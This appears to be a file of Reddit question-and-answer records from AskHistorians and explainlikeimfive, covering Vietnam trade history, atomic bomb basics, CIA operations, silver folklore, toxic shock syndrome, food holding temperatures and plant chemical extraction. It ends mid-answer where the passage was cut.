{"q_id": "3w37w1", "title": "Did the US trade with Vietnam prior to the Vietnam war/pre 1954?", "selftext": "I'm doing a paper on the vietnam war and what kept the US engaged in the conflict, and looking at it economically I'm wondering if the two nations were trade partners prior to the war.\n\nI've found a press conference that Eisenhower held in 1954 (april 7th to be exact) in which he mentions that certain products from the area [Indochina] are important to the world, these products inlude:\n\n* Tungsten\n* Tin\n* Rubber\n\nWhat I'm wondering is whether or not the US specifically got these products from Vietnam (or from other areas in southeast asia) before the war, or if the US got such materials from other trade partners. Were the US and Vietnam even tradepartners prior to the conflict?\n\nI'm having a lot of trouble finding any info on this so I asked in here instead. i hope it doesn't violate your homework rule, or any other rules for that matter.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3w37w1/did_the_us_trade_with_vietnam_prior_to_the/", "answers": {"a_id": ["cxt0rd9"], "score": [2], "text": ["This is a bit tricky since prior to 1949 Vietnam was part of French Indochina, and until 1954 was still within the French Union. It's economy was tied into that colonial network and Asian trade more than to the United States. For example, Vietnam exported a great deal of rice to China, Hong Kong, and the Philippines. Keep in mind too that the U.S. provided over 800 million in aid to France and the Indochinese states between 1949-1954.\nYou can find specific details in the [economic yearbooks](_URL_1_) for the State of Vietnam (1949-1955), the predecessor to the Republic of Vietnam. The editions prior to 1955 will be available in French and Vietnamese only.\n\nSince the U.S. itself wasn't heavily reliant on Indochina -- and after 1945 the war had greatly reduced its export potential -- you may want to explore how American policymakers thought about the economic potential of Indochina, rather than the statistics for, say, 1950-1954. Are they interested in tin, coal, and rice for the US market? Or to help U.S. allies in Asia? Or are they concerned more with denying those raw materials to the Soviet bloc countries? \n\nTo pursue the second question, you could begin with a book by Michael Schaller called *The American Occupation of Japan: The Origins of the Cold War in Asia* (1985).\n\nI would also suggest using the [FRUS series](_URL_0_), which is a compilation of important government documents grouped by year and region. If you use the Boolean search, you can find all the documents where 'rubber' and 'Vietnam' are mentioned, and so on. There you see exactly how policymakers thought about Vietnam's economic potential. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://digicoll.library.wisc.edu/FRUS/Boolean.html", "http://www.worldcat.org/title/viet-nam-nien-giam-thong-ke/oclc/1773230&amp;referer=brief_results"]]}
{"q_id": "afg69c", "title": "what\u2019s so special about an atomic bomb vs. any other bomb? can someone explain the science to me of what exactly about an atomic bomb makes it so powerful and deadly? and why was it such a breakthrough to build the first nuke?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/afg69c/eli5_whats_so_special_about_an_atomic_bomb_vs_any/", "answers": {"a_id": ["edyda34", "edydjje", "edye8oe", "edyf9jn", "edyfv39"], "score": [10, 2, 4, 3, 4], "text": ["Atomic bombs generate an explosion by causing atoms of a nuclear material to split apart (fission) which releases an enormous amount of energy. It's basically extremely rapid radioactive decay. It was a monumental achievement because it wasn't long before that that we didn't even know atoms existed, and the basic science led to a new source of energy. ", "Just looking at the first bomb dropped, [Little Boy](_URL_0_), it weighed 4.4 tonnes but had the explosive power of 15 & #8239;000 tonnes of chemical explosive.  So, weight-for-weight, atomic bombs were well over a thousand times more destructive than chemical explosives.  Soon after came hydrogen bombs which were more destructive still.\n\nIn case you're asking how this can be the case, it's because the forces that hold a bunch of sub-atomic particles together to make an atom are much stronger than the forces that hold a bunch of atoms together to make a molecule.  Chemical explosives only re-arrange the atoms in molecules; atomic weapons re-arrange sub-atomic particles in atoms.", "An atomic bomb is a bomb that produces energy based either on fission (breaking apart heavy atoms) or fusion (binding together light atoms). Fission is the first kind of bomb created and it works by putting a specific kind of uranium close together. This kind of uranium has 235 neutrons in its nucleus rather than the much more common 238 neutrons, meaning the U-235 which makes up about 0.72% of natural uranium needs to be isolated and concentrated together.\n\nU-235 is special because if a free-flying neutron runs into the nucleus at the right speed it can stick, creating U-236 which is very unstable. This breaks apart into two atoms, one of krypton and one of barium. It also will release three neutrons flying off at high speed. Notice how that works? One neutron in and it releases three neutrons out, along with a significant release of energy when it splits apart. Put enough U-235 together and it can kick off a chain reaction which increases in speed and strength very quickly. The amount of energy released by a single atom breaking down isn't very much, but there are *a lot* of atoms in even a small amount of material.\n\nA bomb then can be created simply by putting enough U-235 close enough together that when the U-235 breaks apart spontaneously (as it is radioactive itself) it kicks off the breakdown of the other nearby U-235. This point is called \"critical mass\" or \"nuclear criticality\", and a bomb can achieve this simply by having a chunk of material which is slightly under critical mass with an open plug where more U-235 can be inserted to make it go critical. Other ways are carefully timed and measured shaped explosives to compress a shell of uranium into a dense mass which goes critical.\n\nThe result is a huge release of energy, far beyond what can be produced by chemical reactions at such weights. A nuclear bomb might weigh 1100 kilograms but be able to release energy equivalent to 1.2 million tons of TNT!\n\nA related kind of process is fusion, something which generally speaking is only possible at very high temperatures and pressures. Light elements such as hydrogen are forced together by those conditions hard enough to overcome the nuclear forces which normally prevent the positively charged nucleus from interacting with other nuclei, allowing them to bond and release energy. You might be wondering why breaking apart heavy elements releases energy and binding together light ones does as well, and if it makes it any more clear the crossover point is about at iron where neither fusion or fission of iron will release energy.\n\nBecause absurdly high temperatures and pressures are required to achieve fusion the only practical method of achieving them in the past was with a nuclear bomb itself. The immense power of the explosive release of energy was carefully shaped such that it would compress and heat the fuel to be fused, in turn releasing even greater amounts of energy.", "Here's a good way of thinking about why it is different to a normal bomb:\n\nA B-29 could carry around 12,000 pounds of bombs at a useful range.  Let's ignore the metal bits of the actual bombs and assume that's all explosive weight.\n\nThe first atomic bomb, Little Boy, had a yield of around 15 kilotons.  That means a single bomber could deliver 30,000,000 pounds of explosives in a single mission.  That's 2500 times the payload.", "Here\u2019s a very ELI5 answer, which I expect to be picked apart, but here goes:\n\nAtomic bombs rely on what\u2019s called nuclear fission \u2014 the splitting of uranium (or plutonium) atoms into two. \n\nThis is accomplished by using neutrons to smash into the nucleus of atoms, which when they split release energy and a couple more neutrons. \n\nIf there\u2019s enough of the material in one spot (and maybe something surrounding it to reflect stray neutrons back into the party,) these neutrons in turn split other atoms, which each release energy and more neutrons, which split more atoms, etc.\n\nThis is a nuclear chain reaction \u2014 and only happens when you have enough uranium (or plutonium) together in one spot \u2014 called a critical mass. \n\nAll of this happens really fast, and heats the uranium (or plutonium) to the point where it vaporizes and expands, stopping the nuclear reaction.\n\nThis is what is called a \u2018fizzle\u2019 \u2014 they produce lots of heat, lots of radiation, maybe a bit of a bang but not much else \u2014 little more than what a comparable amount of TNT would, at least.\n\nThe trick to making a nuclear bomb is keeping the uranium (or plutonium) together long enough to release an explosive amount of energy before it blows itself apart. \n\nThe \u2018Little Boy\u2019 bomb dropped over Hiroshima was what\u2019s called a \u2018gun type\u2019 bomb \u2014 little more than an enclosed gun barrel that, when boom time came, fired one sub-critical chunk of uranium at another. When the two subcritical masses met, they became a supercritical mass and kaboom.\n\nWhile the explosion was indeed devastating, it was inefficient \u2014 as only a small amount of uranium actually underwent nuclear fission before it blew itself apart. \n\nThe \u2018Fat Man\u2019 bomb dropped over Nagasaki  is what\u2019s called an \u2018implosion\u2019 device \u2014 which became the basis of all fission nuclear weapons since. \n\nImplosion bombs use explosives to crush a subcritical ball of uranium (usually plutonium, or a mix of the two) into a supercritical mass. This, plus other refinements over time designed to (attempt to) contain the reaction before it blew itself apart, gave designers a lot more \u2018bang\u2019 for their buck than gun-type bombs.\n\nChemical bombs rely on chemical reactions to create energy, which strictly deals with electrons.\n\nNuclear bombs, as the name implies, deal with the nucleus of atoms. The specifics of why this happens is beyond what you could explain to a five year old, but it has to do with overcoming the forces that bind an atom\u2019s nucleus together. \n\nThen there\u2019s thermonuclear weapons (hydrogen bombs) \u2014 that\u2019s also exceeding ELI5 limits, but basically it\u2019s a Nagasaki-style implosion device sitting on top of a container of hydrogen (specifically a type (isotope) of hydrogen called deuterium.)\n\nThe high-energy light (called gamma rays) given off by the detonating implosion device heats the deuterium to the point where it undergoes thermonuclear fusion \u2014 the hydrogen atoms fuse to become helium. This creates an incredible amount of energy, allowing for yields equivalent to millions of tons of TNT, instead of the mere kilotons possible with just a fission device. \n\nAll of that happens before the bomb blows itself to pieces. \n\nIt\u2019s also worth noting that this thermonuclear fusion of hydrogen into helium is exactly what happens inside of our sun (and every other star in the universe) \n\n*edit: typo"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Little_Boy"], [], [], []]}
{"q_id": "2w2m8b", "title": "When I think of the CIA, a lot of 'negative achievements' come to mind: 'Iran', the War on Drugs, backing Junta's. What could historically be seen as big positive achievements by the CIA?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2w2m8b/when_i_think_of_the_cia_a_lot_of_negative/", "answers": {"a_id": ["con1rjd", "con2xni", "con8m6g", "conhqze", "conu5dy", "coo2ep9"], "score": [328, 568, 201, 63, 52, 7], "text": ["Just as one example from the early 1960s, the CIA's covert acquisition of large amounts of titanium from the Soviet Union for use by Lockheed in their amazing mach 3+ A-12/SR-71 high-altitude spyplane was recognized as a pretty solid achievement when the US intelligence agency pulled it off.\n\nThe USA obviously did not want the USSR to know that they needed and were using this rare material for their most advanced spy plane (the structure of the SR-71 was comprised of roughly 85% titanium, and its precursor test bed, the A-12, was 93% titanium alloy).\n\nThe USA did have the ability to produce titanium of their own at that time, but due to their refining process, American titanium was usually \"hydrogen embrittled\", meaning that it would tend to shatter easily and was not as purely refined. The Soviet titanium was definitely superior, and the CIA managed to covertly acquire a significant amount of the metal from the USSR without the Soviets ever knowing what its true end purpose was. In order to covertly acquire the required titanium from the USSR, the CIA and Lockheed Skunk Works had to set up multiple \"front\" or \"dummy\" corporations (mostly in Europe) and use various 3rd parties to do the titanium purchasing from the Soviets for them, and then covertly ship it to America.\n\nThis covert acquisition of large amounts of high quality titanium for the A-12/SR-71 was recognized as a major coup/accomplishment for the CIA to pull off, because the A-12/SR-71 could not have been built without it. The USSR did not learn where the titanium was really going, or what it was really being used for, until years later.", "I just thought of another pretty cool example. My area of focus is primarily centered around space program history, and I always loved this story, because this one was also a major coup for the CIA.\n\nBack in the early 1960s, during the heart of the Cold War and as the \"Space Race\" was really ramping up, there were obviously plenty of questions within the USA about just how advanced the very secretive Soviet space program really was. \n\nThere were numerous \"space exhibitions\" held around the globe at this time, where different nations (primarily the USA and USSR obviously) would show off some of their space hardware to the world for publicity and propaganda reasons. \n\nSo, during one of these space exhibitions (held in Mexico City), the Soviets sent their brand new *Lunik/Luna* moon probe to the exhibition to show it off. Originally, the USA thought that this example the Soviets had sent was just a full scale model of the actual spacecraft, but were shocked to discover during the exhibition that this Soviet *Luna* probe was actually the real deal! It was a nearly complete and operational example of the actual spacecraft, missing just the engines and some of the electronics.\n\nWhen the exhibition ended, the Soviets crated their *Luna* probe up to ship it onto the next exhibition destination. Unfortunately for them, shipping issues meant they had to leave the crated satellite aboard a truck for an extra day at a railyard until they could get it aboard a rail car and shipped out of country. That is when the CIA moved in. \n\nThe CIA actually managed to steal the shipping truck that the satellite was put on and sneak away with this unguarded Soviet *Luna* probe for a period of about 12 hours. Working in the back of the truck, a CIA science team very carefully unpacked the Soviet probe from its shipping crate, and then the CIA agents proceeded to even dismantle portions of it throughout the evening and night, photographing and measuring every part of the spacecraft very closely and gleaning every bit of info they could from it.\n\nThen, they just as carefully put it all back together, gently returned it to its shipping crate (making sure to even use the same original crate screw holes and being careful to put it back exactly as they had found it), and drove it to the railway station the next morning, where it was then shipped out on schedule. The Soviets were apparently never the wiser.\n\nThis was also a major coup for the CIA obviously, because this kind of unfettered, nearly 12-hour's worth of access to a piece of the Soviet Union's highest technology of the day meant the USA was able to glean valuable data about just how good (or poor) the Soviet satellite tech really was. Even things like the satellite's serial numbers on different components allowed the CIA to estimate how many *Luna* satellites had actually been built by the USSR.\n\nSo, the CIA actually STOLE a Soviet satellite, dismantled and studied it, and then put it back together again without the USSR ever even knowing it!  ", "One of the ones I feel is relatively significant (and facinating for its breadth and complexity, as well as its implications to other events) is the [CIA's ELINT program through the 60's](_URL_0_), although this may be a bit outside your question because it also involves significant contributions from the NSA.\n\nBasically, the CIA had collected enough information about soviet radar systems that they could intercept their radar signals, spoof it, and feed it back to the radar systems to \n > \"simulate an aircraft of any radar cross section from an invisible stealth airplane to one that made a large blip on Soviet radar screens - and anything in between, at any speed and altitude, and fly it along any path.\" \n\nIn other words, they could (and did) create false aircraft flying in and around soviet airspace, or mask real aircraft as they flew around soviet airspace.\n\nThis eventually advanced to include (reportedly) any Soviet radar around the world, including ground bases, ships, and submarines.\n\nAs was reported:\n\n > by now, we felt we knew at least as much about the Soviets' radar air defenses as they did. We also knew that their radars were excellent, state of the art, and that their operators were equally proficient. We also knew which of their radars had low power, maintenance problems, or were otherwise not functioning up to par - and where the US Air Force might safely penetrate in wartime.\n\nThe outcome of this was (among many other things):\n\n* Being able to jam and counter most soviet radar systems\n* designing effective aerial attack plans against the Soviet Union\n* designing of aircraft that could fly undetected through soviet airspace\n* caught the USSR cheating on the 1972 ABM treaty (using the Soviet's own radar systems against them to detect the banned testing)\n\nAnyways, [this FOI report](_URL_0_) is a fun and interesting read (only about 9 pages) that details more of the methods, challenges and outcomes of the early ELINT programs.", "One other pretty significant achievement for the CIA was being indirectly responsible for the capture and execution of Che Guevara. \n\nAfter the CIA had attacked Che and his forces of Cubans and Simbas in the heartland of Africa, near Lake Tanganyika, Che fled across the Atlantic to Bolivia, which had recently been taken over by a CIA-backed, right-wing general named Rene Barrientos. \n\nGeneral Barrientos had told the American ambassador in April of 1967 that his forces were tracking the whereabouts of Che in his country, to which the Americans responded by sending two of their Cuban Bay of Pigs veterans to join the hunt with the Bolivians.\n\nThe Bolivians in charge of locating Guevara were known as the Bolivian Rangers, who were an elite squad of soldiers trained by the CIA. They spent several months tracking Che, finally capturing him after a brief clash on October 8, 1967. Che was ordered to be executed the following day, and died at 1:15 pm on October 9th. \n\nIt's important to note how pivotal a role the CIA played in forcing him to flee from Africa to Bolivia, as well as backing the government that would ultimately come to track him down, and sending their own veteran Cubans to participate with American-trained Bolivian Rangers. If it weren't for the CIA, Che may very well have lived for a while yet. \n\nSource: \n\nWeiner, Tim. \"A Political H-Bomb.\" Legacy of Ashes: The History of the CIA. New York: Doubleday, 2007. 323-26. Print.", "**TL:DR the question breaks our rules, but we're going to allow it *just this once*.**\n\nAhhh, crikey. Yes - to all those who have reported this thread; the question [*does* break our rules for questions](_URL_0_). Specifically, it is a \"throughout history\" question - normally something like this would be deleted lickity-split. \n\nAlas for we mods, however, this thread has gathered some excellent replies and locked us on the horns of a dilemma. We've got some good discussion going on. It would be a shame to remove it, yes? So we're not going to. **But just this once**. Mmkay? Read the rules before you post!", "There are a lot of blurred lines.  For instance, the Air Force had it's SR-71...  But the CIA also had it's version of the SR-71, their 13 A-12s, and 2 drone carrying M-21s.  And with satellites, there's the National Reconnaissance Office, but, of course, the CIA has access to satellite info.\n\nSo, one example, would be the cuban missile crisis.  The intelligence that tipped the US off to the missiles came from one of their most valuable sources.\n\nOne thing that was particularly interesting to me.  I read one of woodward's books about Iraq.  The iraqi government was notoriously impenetrable.  Global intelligence agencies couldn't get inside the government for decades.  But there was an enormous breakthrough months before the invasion.  The CIA was able to establish a large network in saddam's government before the war, giving them almost all the information they could possibly ask for, particularly about the iraqi military.\n\nIn fact, one of the first bombs dropped in the air campaign against Iraq was targeted at what was believed to be the location of Saddam himself, and iirc they believe he was wounded in the strike."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.foia.cia.gov/sites/default/files/DOC_0006122549.pdf"], [], ["http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_questions"], []]}
{"q_id": "euw9t7", "title": "Silver is a commonly used trope as an anti-supernatural metal, from repellant to weapon. What is the history/origin of this mythos? Was it simply it's antibacterial properties or something more?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/euw9t7/silver_is_a_commonly_used_trope_as_an/", "answers": {"a_id": ["ffs190c", "ffsjws0", "ffstlpp"], "score": [353, 48, 580], "text": ["The idea of magical weapons is old and widespread. The idea of silver, specifically, being the secret ingredient that makes a weapon magical and/or special is relatively rare. Stith Thompson in his Motif-Index of Folk Literature (1956) identifies Motif D 1385.4: Silver bullet protects against giants, ghosts, and witches, locating it in Japan and North Carolina folklore (one example in each). This is extremely meager showing for an index that often provides dozens of examples of a motif. In addition, we should not look either to Japan or North Carolina as the source of this motif. This is imply an odd, rare eruption in the international folk imagination, unrelated and of little significance.\n\nIn addition, we need not look to any particular properties - other than the face that silver is heavy and valuable - to imagine how the motif was conceived, either in folk literature or elsewhere. \n\nI am not prepared to discuss the history of the motif of the silver bullet in printed literature and/or in film, but my guess is that this is where it was conceived and the reason why it has spread. The motif of the silver bullet does not appear to be a borrowing from folklore.\n\nNow we need to someone with a background in horror literature and film to address the history of the motif in that context.", "I seem to remember being told in the past that this was because Judas betrayed Jesus for silver, and was damned by this. So somehow silver would later be used to defeat creatures of evil, due to religious reasons.\n\nCould anyone speak to that, or know some sources that explain or expand?", "My background is in the biological sciences, not in history proper. However, seeing as we are considering a question potentially linked to the historical application of antibacterial silver, I thought that I could find something useful from a different perspective.\n\nI happened upon a 2009 publication from *Surgical Infections* titled [History of the Medical Use of Silver](_URL_0_). In the article, James Wesley Alexander lists a number of claims about the early use of silver. These include:\n\n* metallic silver was known to the Caldeans [*sic*?] as early as 4000 BCE\n* Persian kings would not drink water that had not been transported in silver containers, as reported by Herodotus\n* Phoenicians, Greeks, Romans, and Egyptians were all noted to have used silver to preserve food and water\n* Macedonians used silver plates to assist in wound healing, perhaps to prevent infection\n* Hippocrates used silver preparations to treat ulcers\n* Gabor used silver nitrate as a medical agent as early as 702 CE\n* Avicenna used silver filings as a blood purifier, and to treat heart palpitations and offensive breath, as early as 980 CE\n* the Alchemists of the 1600s believed that silver was linked to the moon and the brain\n* privileged families would eat with silver utensils leading to argyria, a bluish-grey discoloration of the skin, and likely the source of the concept of \"blue bloods.\" Some have reported that argyria was associated with reduced mortality rates during epidemics and plagues.\n\nAll of these claims are tied back to a single secondary source of Alexander's: *Argyria: The Pharmacology of Silver* by William R. Hill and Donald M. Pillsbury. Provided that this all hold true - again, I'm not a historian, but as a scientist, I'm willing to put *some* trust in scientific publications - one could see a potential path of logic for someone to determine silver as an anti-supernatural metal as an extension of its historical use for anti-\"wrongness.\"\n\nHowever, just because the path can be seen doesn't mean that's how things actually took place. Without historical evidence that this jump occurred, I'm afraid this is just a basis for conjecture.\n\nInterestingly, the Alexander article does go on to suggest that the medical use of silver really took off in the 20th century, which seems to coincide with its rise in popular culture in the response by /u/AncientHistory ."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.researchgate.net/publication/26330393_History_of_the_Medical_Use_of_Silver"]]}
{"q_id": "89uob2", "title": "how does toxic shock syndrome work and why does it become deadly so rapidly? my", "selftext": "My sex education was pretty much non existent in school and my parents never gave me \u201cthe talk\u201d and so I had to learn a lot of things as an adult. Toxic shock syndrome was one of the many things  never fully explained to me and I only really know the basics. (Ie- the stuff printed in warning leaflets in tampon boxes). Last month I had a bit of a scare regarding toxic shock as I suddenly developed a fever and several flu like symptoms including vomiting while on my period. It turned out nothing but a nasty 24 hour bug but the incident motivated me to educate myself about TSS to avoid future panic. I understand that it\u2019s a bacterial based infection but how exactly do the bacteria enter the body? why do tampons make the risk so much higher? How can it kill in such a short space of time? \n\nHelp me educate myself here reddit!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/89uob2/eli5_how_does_toxic_shock_syndrome_work_and_why/", "answers": {"a_id": ["dwtrada", "dwtufhz", "dwupr11"], "score": [5, 25, 2], "text": ["I'm a man, but my wife is a medical professional, so I decided to ask her.    TSS is typically caused when bandages aren't changed (again, she stressed that it is rare, even then) and bacteria cause an infection that quickly spreads throughout the body.   Tampons are used similar to bandages, in that you're preventing discharge from leaving the body, though in this case it's *meant* to leave the body.  She says the risk for TSS is very rare, but concerning tampons, the risk comes from leaving them in too long, to the point that bacteria start to do their thing, making it smell, etc.  She says that if you change your tampon appropriately, you'll never really have to worry about it, as it would be incredibly rare for it to occur at that point.  Hope that helps.", "Toxic shock syndrome (TSS) is a rather rare diagnosis. Let's go into what it is and why it is so dangerous.\n\nTSS is essentially an over-stimulation of your body's immune response. It is caused primarily by 2 bacteria (you don't need to know them but they are staph aureus and group a strep). These are actually extremely common bacteria; any time you have a pimple or skin infection it is almost always these two bacteria that cause it. But.... you've probably never had TSS even though you've been infected by these bacteria. Why is that?\n\nWell, you only develop TSS if the specific bacteria that is infecting you has what is called a super-antigen. This is a protein in the bacteria that activates an absolutely MASSIVE amount of immune cells in your body. These immune cells are ready to fight and so they begin wreaking havoc all over your body destroying it from the inside. Most bacteria don't have this super-antigen. The interesting thing is it's actually very very likely you've been infected by a bacteria with a super-antigen before (probably one of those pimples you've had some time in your life). So why didn't you develop TSS? \n\nYou didn't develop it because the bacteria didn't have access to your bloodstream. Once the bacteria are in your bloodstream, they can go anywhere and are in direct contact with many of your immune cells. In a pimple, the infection is walled off. This is exactly why tampons are bad. The inside of the vagina and uterus have a very very very rich blood supply (which makes sense because your uterine lining must be recreated every month). This means the bacteria have a rather easy time gaining access to your bloodstream. \n\nIf a tampon is kept in long, they will grow bacteria on them, and the bacteria will keep multiplying. This means if you don't remove the tampon, you have essentially a factory in your vagina pumping out bacteria (this is why there is such a high risk). \n\n It kills you in such a short period because of a few reasons. 1 is that as mentioned above, you have a factory churning out bacteria into your blood. 2 is that the infection is in your bloodstream meaning it can go anywhere in your body most notably your organs (liver, kidneys, lungs, heart). 3 is that you have hyper-activation of your immune system which destroys your body from the inside. \n\nIt's a scary thing to see. Very very high death rate if you develop TSS. Depending on which bacteria it is, the death rate can go as high as 50%. Don't worry though, if you have some sniffles and a fever you probably don't have TSS. \n\n", "The top response is very accurate. This post is about providing some context as to why there is a lot of warnings if TSS is so rare. If you use tampons according to normal directions TSS is extremely rare. History is why there are so many warnings.\n\n TSS warnings are response to a series of incidences in the late 60\u2019s (or 70\u2019s I forget). At that time tampons were not regulated or required to have any medical testing. Manufacturers started creating new materials to be super absorbent so tampons could be left in longer. They advertised tampons that could be left in for 20+hrs. Some cases had tampons left in for days. These conditions resulted in some high profile TSS incidents. The super absorbent materials dried out the vagina, increasing risk of micro tears. The long use time and dry conditions allowed time for bacteria to grow in significant quantities to cause blood infections. The first infection would be bad but overcome. If a woman got a subsequent blood infection of the same bacteria, the overreaction of the immune system could lead to TSS. See top post for details how it happened. \n\nThere are a lot more controls and education now, so TSS is very rare. As a result of the TSS cases in the 60s, tampons were required to be medically tested and regulated in the US. And manufacturers very strictly adhere to the safety standards because if a customer dies, they won\u2019t by products in the future; also massive expensive lawsuits by the families. Regular changing of tampons according to box directions should effectively remove risk of TSS. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6aqwnw", "title": "why cooked food can stay under a heat lamp for hours and be ok, while if it's in a hot car for 2 hours it will go bad.", "selftext": "Isn't it the same type of heat?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6aqwnw/eli5_why_cooked_food_can_stay_under_a_heat_lamp/", "answers": {"a_id": ["dhgpbp5", "dhgpdlx", "dhgyfm5"], "score": [27, 3, 72], "text": ["Heat lamps need to keep food at above 60\u00b0C to prevent bacteria growing. The interior of a car generally doesn't get as hot as that.", "What type of food are you talking about? I've left food in my car for many hours without it going bad. Most recently, I left a rack of ribs in my car for seven hours, and they were perfectly edible.", "The idea around food holding temperatures is to control the growth of bacteria, most of which breed and multiply best between 40 degrees F and 135 degrees F. This range of temperatures is referred to as the \"Danger Zone\". Basically bacteria is ALWAYS present on your food, and always multiplying, so keeping cooked food hot is about slowing down the growth of bacteria. \n\nYour body can handle some bacteria without you getting sick, but once that bacteria has grown at an exponential rate, doubling itself every sixty seconds for several hours, there are too many for your body to fight, and you get sick.\n\nKeeping hot food hot helps SLOW the growth of bacteria, but not stop it. The USDA mandates that prepared food, once heated to proper temperature, may be held hot (above 135 F) for four hours before it must be discarded - it is no longer considered safe.\n\nWith that in mind, I've seen two methods of temperature holding in the food service industry - heat lamps and steam tables. Heat lamps are typically in the service window - where the waiter gets your food from the kitchen to give to you. When you and your family place your order, some items take longer than others to make, so your nephew's chicken nuggets will come out much quicker than your filet mingon. We don't want Jimmy's nuggets to get cold while your filet is cooking, so we put it under the heat lamp to keep it toasty until your whole family's order is ready. The heat lamp does tend to dry out food and make it look gross so a good restaurant will have a 15 minute limit on how long that food can stay in the window, well below the USDA guideline of how long prepared food can be kept hot. \n\nWhere things can get dangerous is with steam tables. Steam tables are basically tubs of heated water with your stainless steel pan of food sitting on top of it. Hotels use them, casinos, etc. The steam table IS meant to keep hot food hot for a period of up to four hours. USDA requires that we check the temperature of this food every hour, to make sure it hasn't dropped into the Danger Zone (below 135 F), and to discard it if it does. And once again, to chuck the whole batch after four hours has passed, since that bacteria has had too long to grow on your food and will most likely make you ill. If you really want to scare yourself, look up \"Clostridium perfringens\" AKA the cafeteria germ, which grows best at steam-table temperatures and causes epidemics in old folk's homes.\n\nSo here is the answer to your question: The USDA doesn't care what you do with your own food in in your car since you're not selling or serving it to anyone else. But if you hypothetically were going to sell that food, and you needed to comply with serve-safe industry standards, you would need to make sure your car was at least 135 F, check the temp of the food every hour, and discard it after four hours. Oh, and, since your leftovers most likely fell to a dangerous temperature while it was on your table in the restaurant, you would have to reheat it to 165 F again before transferring it to your hot car. Ha! Obviously nobody can do that. Your food might be fine. There is simply a high likelihood that your car is operating as a giant human-body temperature (96 F) organism to breed an ungodly amount of Clostridium perfringens all over your burrito before you go ahead and eat it. \n\nI am a Serve-Safe certified Prep cook 2 yrs.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.fsis.usda.gov/wps/portal/fsis/topics/food-safety-education/get-answers/food-safety-fact-sheets/foodborne-illness-and-disease/foodborne-illness-what-consumers-need-to-know/CT_Index"]]}
{"q_id": "ayp8fk", "title": "how do chemists extract specific substances from something like a flower?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ayp8fk/eli5_how_do_chemists_extract_specific_substances/", "answers": {"a_id": ["ei2a2ex", "ei2a65u", "ei2dzvi", "ei2g0t5"], "score": [6, 40, 2, 15], "text": ["It all depends on the substance and what it's being extracted from but one of the simpler ways is choose a solvent that the substance is soluble in but everything else isn't. Like a said, it's highly dependent on the substance.\n\nEDIT: apparent dyslexia", "Mush flower down with solvent.\nLeave solvent/flower mixture. (Solvent extracts a selection of substances)\nRemove flower debris and keep solvent/substance mixture.\nEither: add chemical which may precipitate desired substance. (Neutralisation reaction forming substance salt)\nOr heat at different temps, evaporating/separating different sized molecules and separate.  ", "So it always depends on the chemical you're after but it basically comes down to knowing what your chemical does and its properties. One protein I often extracted has a high positive charge and is extremely heat and acid resistant. So I grind up a heap of flowers, put them in an acid bath for a few hours, let all the chunky precipitated stuff sink to the bottom then filter the solution just to make sure all the chunky stuff is gone. I then neutralise the solution back to pH 7, boil it for a few more hours, filter the new precipitate formed and my solution now has a high concentration of my wanted protein. To finish it off I used a ionic exchange column but that's a little more technical which you can read about [here.](_URL_0_)", "Hey my dude, I'm actually pretty qualified to answer this! I'm doing my PhD in chemistry and though this isn't the specific chemistry area in which I'm doing my PhD, I did a project in my undergrad doing basically this but extracting chemicals from sea slugs. Also several other people in my lab do this but with assorted grasses and tree roots. \n\nBasically, it's very very difficult to extract only one specific compound at a time, because plants etc are often filled with a very complex mixture of many chemicals. It requires you to be extremely lucky with the compound (ie. Lots of it in the plant and it being fairly different in chemical properties from the rest, allowing you to precipitate the chemical out after extraction for example, as another commented said). This is extremely unusual though. \n\nWhat happens normally is that you'll extract a bunch of chemicals from the plant, and then go about separating them from one another.\n\nHow you extract chemicals from plants is you grind/chop/pulp them up somehow, and sit them in the solvent of your choice for a certain period of time. The idea is to make the plant bits small so that the maximum surface area of those bits is in contact with the solvent at all times. The solvent is just a liquid which dissolves the chemicals from the plant. \n\nSolvents can be classed into two broad categories (though really it's a spectrum with stuff in between): polar and non-polar. Like dissolves like, so polar solvents will dissolve polar chemicals. Each polar chemical is like a little magnet with a north and south pole, which will stick together with other polar molecules, and so on until most of the polar molecules are stuck together. Some molecules will be solvent and some will be chemicals. \n\nNon polar chemicals are kind of like the unpopular crowd of misfits that makes their own crowd. They can't get in on the polar magnet action because they're not magnet-y, so they just stick together with the other non-magnets. The solvent you choose will dissolve different chemicals, so if you're looking for a specific one you'll first have to figure out whether the chemical you're looking for is a lot magnet-y, not magnet-y, or somewhere in between. Then you can pick a solvent that matches that and you should be able to extract that chemical, because it will dissolve it from the plant (warning, you'll still probably extract a bunch of similar chemicals along with it). \n\nIt's like making tea - when you steep the tea leaves in hot water, you are extracting all the fun flavour chemicals and caffeine and tannins and all that into your cup of hot water (gives your water flavour and colour). In this case, water is pretty polar, so you're extracting a bunch of polar chemicals and drinking the mixture. You can let it sit in cold water and it'll do the same thing just slower. Heat speeds things up, but isn't always used for lab extractions because it can also make your compounds break apart, if they are fussy. \n\nGreat, now we've got a mixture of chemicals out of our plant, we aren't going to drink it because depending on the plant that's poisonous. Instead we have to go about separating out the one we want! There's lots of ways to do this. \n\nThe most common way I've seen is using a fun technique called chromatography. You remember how I was talking about polar and non polar stuff before? This is relevant. Chromatography generally involves dissolving your mixture of chemicals in a solvent and pushing all that through a column (literally a cylindrical tube full) of a chemical called silica. Think like purifying water through a charcoal filter - you put a mixture of crap through but only water comes out. You can use some other chemicals for the column bit but silica is most common for this sort of thing. \n\nFun fact about silica is that it's 